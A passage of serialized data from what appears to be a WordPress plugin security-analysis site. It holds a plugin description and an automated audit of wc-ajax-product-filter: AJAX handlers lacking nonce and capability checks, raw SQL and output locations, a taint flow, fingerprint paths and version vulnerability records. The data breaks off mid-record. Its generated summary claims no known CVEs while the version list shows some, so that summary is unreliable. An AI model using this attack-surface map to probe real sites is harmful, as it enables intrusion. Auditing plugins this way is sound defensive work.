anything\u003C\u002Fh4>\n\u003Cp>Allows you to filter any type of content.\u003Cbr \u002F>\nPosts • WooCommerce products • listings • events • portfolios • any custom post type.\u003Cbr \u002F>\nFiltering criteria can be virtually anything.\u003Cbr \u002F>\nPrice • brand • category • attributes • color • size • weight — virtually any other data in your content.\u003Cbr \u002F>\n\u003Cem>— Maximum flexibility.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch4>Works with your existing content and setup\u003C\u002Fh4>\n\u003Cp>The plugin integrates easily into your existing website structure and works with standard WordPress queries, taxonomies, and custom fields (including ACF, Meta Box fields), without requiring additional tables, indexing systems, or duplicate data.\u003Cbr \u002F>\n\u003Cem>— No need to restructure your content. Just install and use it.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch4>Compatible. Fast. Supported\u003C\u002Fh4>\n\u003Cp>It works seamlessly with your theme, page builder, and plugins, and delivers fast performance thanks to its WordPress-standards-based architecture.\u003Cbr \u002F>\nActively maintained, regularly updated, and continuously improved by the team.\u003Cbr \u002F>\n\u003Cem>— Built for reliability.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch3>Core Features at a Glance\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Filter any content\u003C\u002Fstrong>\u003Cbr \u002F>\nWorks with WooCommerce products, posts, and any custom post types on your website.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>All essential filtering options included\u003C\u002Fstrong>\u003Cbr \u002F>\n25+ built-in filtering options designed to cover virtually any filtering scenario.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Filter by virtually any criteria\u003C\u002Fstrong>\u003Cbr \u002F>\nFilter content by price, brand, color, category, size, weight, or any other criteria based on the data stored in taxonomies or custom fields.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Works on any page\u003C\u002Fstrong>\u003Cbr \u002F>\nEach section of your website can have its own set of filters relevant to its content.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Widgets for page builders\u003C\u002Fstrong>\u003Cbr \u002F>\nBuilt-in Filters, Chips, and Sorting widgets for Gutenberg, Elementor, Divi, Breakdance, Beaver Builder, and other page builders.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Flexible filter layouts and display options\u003C\u002Fstrong>\u003Cbr \u002F>\nUse checkboxes, radio buttons, dropdowns, labels, color swatches, rating stars, numeric ranges, or date ranges, and display filters as horizontal toolbars or vertical panels.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Flexible filtering modes\u003C\u002Fstrong>\u003Cbr \u002F>\nStep-by-step filtering, auto-submission, or selecting multiple filters and applying them manually.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Sorting and keyword search\u003C\u002Fstrong>\u003Cbr \u002F>\nAllow visitors to sort and search within filtered results.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Developer-friendly and extensible\u003C\u002Fstrong>\u003Cbr \u002F>\nCustomize and extend plugin behavior using WordPress actions and filters.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Mobile-friendly\u003C\u002Fstrong>\u003Cbr \u002F>\nWorks out of the box on mobile devices.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cem>— And many other built-in capabilities.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch3>Filter Everything PRO\u003C\u002Fh3>\n\u003Cp>The plugin is also available in a PRO version that significantly expands filtering capabilities:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Support for filtering \u003Cstrong>any custom WP_Query\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>∞ Unlimited Filter Sets\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>SEO tools\u003C\u002Fstrong> that help bring additional organic traffic to your website\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Smart filtering\u003C\u002Fstrong> for WooCommerce variable and out-of-stock products\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced mobile features\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Import and export\u003C\u002Fstrong> of filters, SEO Rules, and settings\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Duplicate Filter Sets\u003C\u002Fstrong> in one click\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Priority support\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cem>— And many other powerful features available in Filter Everything PRO.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch3>Why use filters on your website?\u003C\u002Fh3>\n\u003Cp>Filters help visitors quickly \u003Cem>find the content they need\u003C\u002Fem> in just a few clicks, especially on websites that contain large amounts of content.\u003C\u002Fp>\n\u003Cp>This improves navigation, reduces bounce rates, saves visitors’ time, and creates a better overall user experience. For high-traffic websites, efficient filtering can also help reduce server load.\u003C\u002Fp>\n","The most flexible filters plugin for WordPress & WooCommerce – filter anything.",50000,774591,142,"2026-03-28T14:01:00.000Z","4.6","5.7",[174,175,22,23,24],"ajax-filter","post-filter","https:\u002F\u002Ffiltereverything.pro","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffilter-everything.1.9.2.zip",{"attackSurface":179,"codeSignals":435,"taintFlows":487,"riskAssessment":514,"analyzedAt":523},{"hooks":180,"ajaxHandlers":358,"restRoutes":415,"shortcodes":416,"cronEvents":432,"entryPointCount":433,"unprotectedCount":434},[181,187,190,193,197,201,205,211,216,221,226,228,232,236,240,244,248,252,257,261,265,268,271,275,278,282,286,290,293,297,300,303,306,309,312,315,318,320,322,325,327,331,334,337,339,341,344,349,352,355],{"type":182,"name":183,"callback":184,"file":185,"line":186},"action","admin_menu","register_admin_pages","includes\\class-wcapf-admin.php",42,{"type":182,"name":183,"callback":188,"file":185,"line":189},"modify_admin_menu_label",43,{"type":182,"name":191,"callback":192,"file":185,"line":14},"in_admin_header","disable_admin_notices",{"type":182,"name":194,"callback":195,"file":185,"line":196},"admin_enqueue_scripts","enqueue_admin_ui_scripts",45,{"type":182,"name":198,"callback":199,"file":185,"line":200},"admin_head","enqueue_review_notices_styles",48,{"type":182,"name":202,"callback":203,"file":185,"line":204},"admin_footer","enqueue_review_notices_scripts",49,{"type":206,"name":207,"callback":208,"file":209,"line":210},"filter","pre_wp_unique_post_slug","anonymous","includes\\class-wcapf-form-filters-utils.php",215,{"type":182,"name":212,"callback":213,"priority":86,"file":214,"line":215},"wp_enqueue_scripts","load_frontend_scripts","includes\\class-wcapf-frontend-scripts.php",63,{"type":182,"name":217,"callback":218,"file":219,"line":220},"init","register_post_types","includes\\class-wcapf-post-type.php",51,{"type":182,"name":222,"callback":223,"file":224,"line":225},"wcapf_form_saved","track_form_updates_count","includes\\hooks\\class-wcapf-api.php",71,{"type":206,"name":207,"callback":208,"file":224,"line":227},998,{"type":206,"name":229,"callback":230,"file":231,"line":220},"body_class","add_body_classes","includes\\hooks\\class-wcapf-hooks.php",{"type":182,"name":233,"callback":234,"file":231,"line":235},"wp_footer","insert_loader",52,{"type":206,"name":237,"callback":238,"file":231,"line":239},"redirect_canonical","suppress_canonical_redirect",53,{"type":206,"name":241,"callback":242,"file":231,"line":243},"paginate_links","modify_paginated_link",54,{"type":206,"name":245,"callback":246,"file":231,"line":247},"woocommerce_redirect_single_search_result","single_search_redirect",55,{"type":182,"name":249,"callback":250,"priority":29,"file":231,"line":251},"woocommerce_before_shop_loop","insert_before_shop_loop",56,{"type":182,"name":253,"callback":254,"priority":255,"file":231,"line":256},"woocommerce_after_shop_loop","insert_after_shop_loop",200,57,{"type":182,"name":258,"callback":259,"priority":29,"file":231,"line":260},"woocommerce_before_template_part","insert_before_no_products",58,{"type":182,"name":262,"callback":263,"priority":255,"file":231,"line":264},"woocommerce_after_template_part","insert_after_no_products",59,{"type":182,"name":249,"callback":266,"file":231,"line":267},"active_filters_before_shop_loop",60,{"type":182,"name":258,"callback":269,"file":231,"line":270},"active_filters_before_no_products",61,{"type":206,"name":272,"callback":273,"file":231,"line":274},"wcapf_form_filter_data","set_form_filter_data",62,{"type":182,"name":276,"callback":277,"file":231,"line":215},"woocommerce_product_query","set_query",{"type":206,"name":279,"callback":279,"priority":280,"file":231,"line":281},"posts_clauses",5,392,{"type":182,"name":283,"callback":284,"file":231,"line":285},"plugins_loaded","instance",428,{"type":206,"name":287,"callback":288,"priority":107,"file":289,"line":220},"wcapf_get_post_author_args","limit_post_authors","includes\\hooks\\class-wcapf-post-author-filter.php",{"type":206,"name":287,"callback":291,"priority":292,"file":289,"line":235},"sort_post_authors",15,{"type":206,"name":294,"callback":295,"priority":107,"file":296,"line":220},"wcapf_field_filter_type","set_rating_filter_type","includes\\hooks\\class-wcapf-rating-filter.php",{"type":206,"name":298,"callback":299,"priority":107,"file":296,"line":239},"wcapf_get_terms_args","set_rating_terms_query_args",{"type":206,"name":301,"callback":302,"priority":107,"file":296,"line":243},"wcapf_taxonomy_terms","set_rating_terms_data",{"type":206,"name":304,"callback":305,"priority":107,"file":296,"line":251},"wcapf_taxonomy_filter_values","set_rating_filter_values",{"type":206,"name":307,"callback":308,"priority":107,"file":296,"line":256},"wcapf_active_taxonomy_filter_data","rating_filter_star_icons",{"type":206,"name":310,"callback":311,"priority":107,"file":296,"line":264},"wcapf_menu_items","set_rating_items",{"type":206,"name":298,"callback":313,"priority":292,"file":314,"line":220},"limit_taxonomy_terms","includes\\hooks\\class-wcapf-taxonomy-filter.php",{"type":206,"name":298,"callback":316,"priority":317,"file":314,"line":235},"sort_taxonomy_terms",20,{"type":206,"name":301,"callback":319,"priority":292,"file":314,"line":243},"adjust_parent_term_id",{"type":206,"name":304,"callback":321,"priority":107,"file":314,"line":251},"term_ids_from_term_slugs",{"type":206,"name":323,"callback":324,"priority":107,"file":314,"line":256},"wcapf_ancestors_of_active_terms","set_ancestors_of_active_terms",{"type":206,"name":307,"callback":326,"priority":107,"file":314,"line":260},"filter_data_from_term_slugs",{"type":182,"name":328,"callback":329,"file":330,"line":235},"admin_init","run_v4_migration_from_admin_area","includes\\migration\\class-wcapf-v4-migration-hooks.php",{"type":206,"name":332,"callback":333,"file":330,"line":243},"wcapf_admin_js_params","set_v4_migration_js_params",{"type":182,"name":335,"callback":336,"file":330,"line":256},"admin_notices","show_v4_migration_notice",{"type":182,"name":202,"callback":338,"file":330,"line":260},"dismiss_v4_migration_notice_scripts",{"type":182,"name":202,"callback":340,"file":330,"line":264},"dismiss_v4_review_filters_notice_scripts",{"type":182,"name":335,"callback":342,"file":330,"line":343},"show_pro_version_update_notice",67,{"type":182,"name":345,"callback":346,"file":347,"line":348},"widgets_init","wcapf_register_filter_widget","includes\\widgets\\class-wcapf-filter-widget.php",80,{"type":182,"name":335,"callback":350,"file":351,"line":264},"show_admin_notice","wc-ajax-product-filter.php",{"type":182,"name":353,"callback":354,"file":351,"line":267},"woocommerce_loaded","load_dependencies",{"type":182,"name":353,"callback":356,"file":351,"line":357},"wcapf_unload_pro_v1",352,[359,364,367,370,373,376,379,382,385,388,391,394,397,401,405,409,412],{"action":360,"nopriv":58,"callback":361,"hasNonce":362,"hasCapCheck":362,"file":185,"line":363},"wcapf_dismiss_review_notices","dismiss_review_notices",true,50,{"action":365,"nopriv":58,"callback":366,"hasNonce":58,"hasCapCheck":58,"file":224,"line":220},"wcapf_get_terms_for_modal","get_terms_for_modal",{"action":368,"nopriv":58,"callback":369,"hasNonce":58,"hasCapCheck":58,"file":224,"line":235},"wcapf_get_meta_values_for_modal","get_meta_values_for_modal",{"action":371,"nopriv":58,"callback":372,"hasNonce":58,"hasCapCheck":58,"file":224,"line":239},"wcapf_get_post_authors_for_modal","get_post_authors_for_modal",{"action":374,"nopriv":58,"callback":375,"hasNonce":58,"hasCapCheck":58,"file":224,"line":243},"wcapf_get_terms_for_dropdown","get_terms_for_dropdown",{"action":377,"nopriv":58,"callback":378,"hasNonce":58,"hasCapCheck":58,"file":224,"line":247},"wcapf_get_authors_for_dropdown","get_authors_for_dropdown",{"action":380,"nopriv":58,"callback":381,"hasNonce":58,"hasCapCheck":58,"file":224,"line":251},"wcapf_get_pages_for_dropdown","get_pages_for_dropdown",{"action":383,"nopriv":58,"callback":384,"hasNonce":58,"hasCapCheck":58,"file":224,"line":256},"wcapf_get_products_for_dropdown","get_products_for_dropdown",{"action":386,"nopriv":58,"callback":387,"hasNonce":58,"hasCapCheck":58,"file":224,"line":267},"wcapf_create_sample_form","create_sample_form",{"action":389,"nopriv":58,"callback":390,"hasNonce":58,"hasCapCheck":58,"file":224,"line":270},"wcapf_get_form_data","get_form_data",{"action":392,"nopriv":58,"callback":393,"hasNonce":58,"hasCapCheck":58,"file":224,"line":274},"wcapf_add_form","add_form",{"action":395,"nopriv":58,"callback":396,"hasNonce":58,"hasCapCheck":58,"file":224,"line":215},"wcapf_save_form","save_form",{"action":398,"nopriv":58,"callback":399,"hasNonce":58,"hasCapCheck":58,"file":224,"line":400},"wcapf_delete_form","delete_form",64,{"action":402,"nopriv":58,"callback":403,"hasNonce":58,"hasCapCheck":58,"file":224,"line":404},"wcapf_delete_filter","delete_filter",65,{"action":406,"nopriv":58,"callback":407,"hasNonce":58,"hasCapCheck":58,"file":224,"line":408},"wcapf_save_settings","save_settings",68,{"action":410,"nopriv":58,"callback":411,"hasNonce":362,"hasCapCheck":58,"file":330,"line":267},"wcapf_dismiss_v4_migration_notice","dismiss_v4_migration_notice",{"action":413,"nopriv":58,"callback":414,"hasNonce":362,"hasCapCheck":58,"file":330,"line":270},"wcapf_dismiss_v4_review_filters_notice","dismiss_v4_review_filters_notice",[],[417,421,426,429],{"tag":418,"callback":419,"file":420,"line":408},"wcapf_active_filters","shortcode_output","includes\\shortcodes\\class-wcapf-active-filters-shortcode.php",{"tag":422,"callback":423,"file":424,"line":425},"wcapf_form","register_shortcode","includes\\shortcodes\\class-wcapf-filter-form-shortcode.php",128,{"tag":427,"callback":423,"file":428,"line":264},"wcapf_filter","includes\\shortcodes\\class-wcapf-filter-shortcode.php",{"tag":430,"callback":419,"file":431,"line":404},"wcapf_reset_button","includes\\shortcodes\\class-wcapf-reset-button-shortcode.php",[],21,14,{"dangerousFunctions":436,"sqlUsage":437,"outputEscaping":445,"fileOperations":28,"externalRequests":29,"nonceChecks":482,"capabilityChecks":157,"bundledLibraries":483},[],{"prepared":438,"raw":114,"locations":439},33,[440,443],{"file":351,"line":441,"context":442},400,"$wpdb->query() with variable interpolation",{"file":351,"line":444,"context":442},402,{"escaped":446,"rawEcho":447,"locations":448},236,16,[449,452,454,456,457,459,461,462,465,467,469,471,474,476,477,479],{"file":450,"line":425,"context":451},"includes\\class-wcapf-form.php","raw output",{"file":450,"line":453,"context":451},580,{"file":231,"line":455,"context":451},156,{"file":424,"line":348,"context":451},{"file":424,"line":458,"context":451},101,{"file":424,"line":460,"context":451},123,{"file":347,"line":235,"context":451},{"file":463,"line":464,"context":451},"templates\\active-filters.php",76,{"file":463,"line":466,"context":451},82,{"file":463,"line":468,"context":451},102,{"file":463,"line":470,"context":451},118,{"file":472,"line":473,"context":451},"templates\\menu-item.php",31,{"file":475,"line":267,"context":451},"templates\\range.php",{"file":475,"line":466,"context":451},{"file":475,"line":478,"context":451},114,{"file":480,"line":481,"context":451},"templates\\reset-button.php",36,4,[484],{"name":485,"version":39,"knownCves":486},"jQuery",[],[488,506],{"entryPoint":489,"graph":490,"unsanitizedCount":28,"severity":505},"save_settings (includes\\hooks\\class-wcapf-api.php:865)",{"nodes":491,"edges":503},[492,497],{"id":493,"type":494,"label":495,"file":224,"line":496},"n0","source","$_POST",870,{"id":498,"type":499,"label":500,"file":224,"line":501,"wp_function":502},"n1","sink","update_option() [Settings Manipulation]",890,"update_option",[504],{"from":493,"to":498,"sanitized":58},"low",{"entryPoint":507,"graph":508,"unsanitizedCount":29,"severity":505},"\u003Cclass-wcapf-api> (includes\\hooks\\class-wcapf-api.php:0)",{"nodes":509,"edges":512},[510,511],{"id":493,"type":494,"label":495,"file":224,"line":496},{"id":498,"type":499,"label":500,"file":224,"line":501,"wp_function":502},[513],{"from":493,"to":498,"sanitized":362},{"summary":515,"deductions":516},"The \"wc-ajax-product-filter\" plugin v4.3.0 presents a mixed security posture.  On the positive side, it demonstrates good practices with a high percentage of SQL queries using prepared statements and a substantial amount of output being properly escaped. The absence of known CVEs and a clean vulnerability history are also favorable indicators.  However, a significant concern lies in its attack surface, with 17 AJAX handlers, 14 of which lack authentication checks. This creates a considerable entry point for potential abuse.  While taint analysis shows no critical or high-severity issues, one flow with an unsanitized path warrants attention, as it could lead to unexpected behavior if exploited.\n\nThe plugin's reliance on raw PHP functions for file operations, though only one instance, could also be a minor concern if not handled with utmost care. The presence of bundled jQuery, while common, implies a potential dependency on an external library that might have its own vulnerabilities, though no specific issues are indicated in the provided data. Overall, the plugin has a solid foundation in data handling and output sanitization, but the lack of robust authentication on a majority of its AJAX endpoints is a notable weakness that attackers could target.",[517,519,521],{"reason":518,"points":107},"14 unprotected AJAX handlers",{"reason":520,"points":280},"1 unsanitized path in taint analysis",{"reason":522,"points":114},"1 file operation instance","2026-03-16T17:52:25.525Z",{"wat":525,"direct":534},{"assetPaths":526,"generatorPatterns":529,"scriptPaths":530,"versionParams":531},[527,528],"\u002Fwp-content\u002Fplugins\u002Fwc-ajax-product-filter\u002Fassets\u002Fcss\u002Ffrontend.css","\u002Fwp-content\u002Fplugins\u002Fwc-ajax-product-filter\u002Fassets\u002Fjs\u002Ffrontend.js",[],[528],[532,533],"wc-ajax-product-filter\u002Fassets\u002Fcss\u002Ffrontend.css?ver=","wc-ajax-product-filter\u002Fassets\u002Fjs\u002Ffrontend.js?ver=",{"cssClasses":535,"htmlComments":537,"htmlAttributes":540,"restEndpoints":542,"jsGlobals":543,"shortcodeOutput":545},[536],"wcapf-filter-wrapper",[538,539],"\u003C!-- WCAPF Filter Start -->","\u003C!-- WCAPF Filter End -->",[541],"data-wcapf-attribute",[],[544],"wcapf_frontend_params",[546],"[wcapf_filter]",{"error":362,"url":548,"statusCode":549,"statusMessage":550,"message":550},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fwc-ajax-product-filter\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":552,"versions":553},18,[554,559,565,573,581,589,597,605,613,621,629,637,645,653,661,669,677,685],{"version":6,"download_url":26,"svn_tag_url":555,"released_at":39,"has_diff":58,"diff_files_changed":556,"diff_lines":39,"trac_diff_url":557,"vulnerabilities":558,"is_current":362},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.3.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.4.0",[],{"version":41,"download_url":560,"svn_tag_url":561,"released_at":39,"has_diff":58,"diff_files_changed":562,"diff_lines":39,"trac_diff_url":563,"vulnerabilities":564,"is_current":58},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.3&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.3.0",[],{"version":566,"download_url":567,"svn_tag_url":568,"released_at":39,"has_diff":58,"diff_files_changed":569,"diff_lines":39,"trac_diff_url":570,"vulnerabilities":571,"is_current":58},"4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.2&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.3",[572],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":574,"download_url":575,"svn_tag_url":576,"released_at":39,"has_diff":58,"diff_files_changed":577,"diff_lines":39,"trac_diff_url":578,"vulnerabilities":579,"is_current":58},"4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.1&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.2",[580],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":582,"download_url":583,"svn_tag_url":584,"released_at":39,"has_diff":58,"diff_files_changed":585,"diff_lines":39,"trac_diff_url":586,"vulnerabilities":587,"is_current":58},"4.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.1",[588],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":590,"download_url":591,"svn_tag_url":592,"released_at":39,"has_diff":58,"diff_files_changed":593,"diff_lines":39,"trac_diff_url":594,"vulnerabilities":595,"is_current":58},"4.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.1.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.2.0",[596],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":598,"download_url":599,"svn_tag_url":600,"released_at":39,"has_diff":58,"diff_files_changed":601,"diff_lines":39,"trac_diff_url":602,"vulnerabilities":603,"is_current":58},"4.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F4.0.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.1.0",[604],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":606,"download_url":607,"svn_tag_url":608,"released_at":39,"has_diff":58,"diff_files_changed":609,"diff_lines":39,"trac_diff_url":610,"vulnerabilities":611,"is_current":58},"4.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F4.0.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.2&new_path=%2Fwc-ajax-product-filter%2Ftags%2F4.0.0",[612],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":614,"download_url":615,"svn_tag_url":616,"released_at":39,"has_diff":58,"diff_files_changed":617,"diff_lines":39,"trac_diff_url":618,"vulnerabilities":619,"is_current":58},"3.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.1&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.2",[620],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":622,"download_url":623,"svn_tag_url":624,"released_at":39,"has_diff":58,"diff_files_changed":625,"diff_lines":39,"trac_diff_url":626,"vulnerabilities":627,"is_current":58},"3.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.1",[628],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":630,"download_url":631,"svn_tag_url":632,"released_at":39,"has_diff":58,"diff_files_changed":633,"diff_lines":39,"trac_diff_url":634,"vulnerabilities":635,"is_current":58},"3.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.2.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.3.0",[636],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":638,"download_url":639,"svn_tag_url":640,"released_at":39,"has_diff":58,"diff_files_changed":641,"diff_lines":39,"trac_diff_url":642,"vulnerabilities":643,"is_current":58},"3.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.1.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.2.0",[644],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":646,"download_url":647,"svn_tag_url":648,"released_at":39,"has_diff":58,"diff_files_changed":649,"diff_lines":39,"trac_diff_url":650,"vulnerabilities":651,"is_current":58},"3.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F3.0.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.1.0",[652],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":654,"download_url":655,"svn_tag_url":656,"released_at":39,"has_diff":58,"diff_files_changed":657,"diff_lines":39,"trac_diff_url":658,"vulnerabilities":659,"is_current":58},"3.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.3.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F3.0.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0.3&new_path=%2Fwc-ajax-product-filter%2Ftags%2F3.0.0",[660],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":662,"download_url":663,"svn_tag_url":664,"released_at":39,"has_diff":58,"diff_files_changed":665,"diff_lines":39,"trac_diff_url":666,"vulnerabilities":667,"is_current":58},"2.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.2.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F2.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0.1&new_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0.3",[668],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":670,"download_url":671,"svn_tag_url":672,"released_at":39,"has_diff":58,"diff_files_changed":673,"diff_lines":39,"trac_diff_url":674,"vulnerabilities":675,"is_current":58},"2.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.2.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwc-ajax-product-filter\u002Ftags\u002F2.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0&new_path=%2Fwc-ajax-product-filter%2Ftags%2F2.0.1",[676],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_v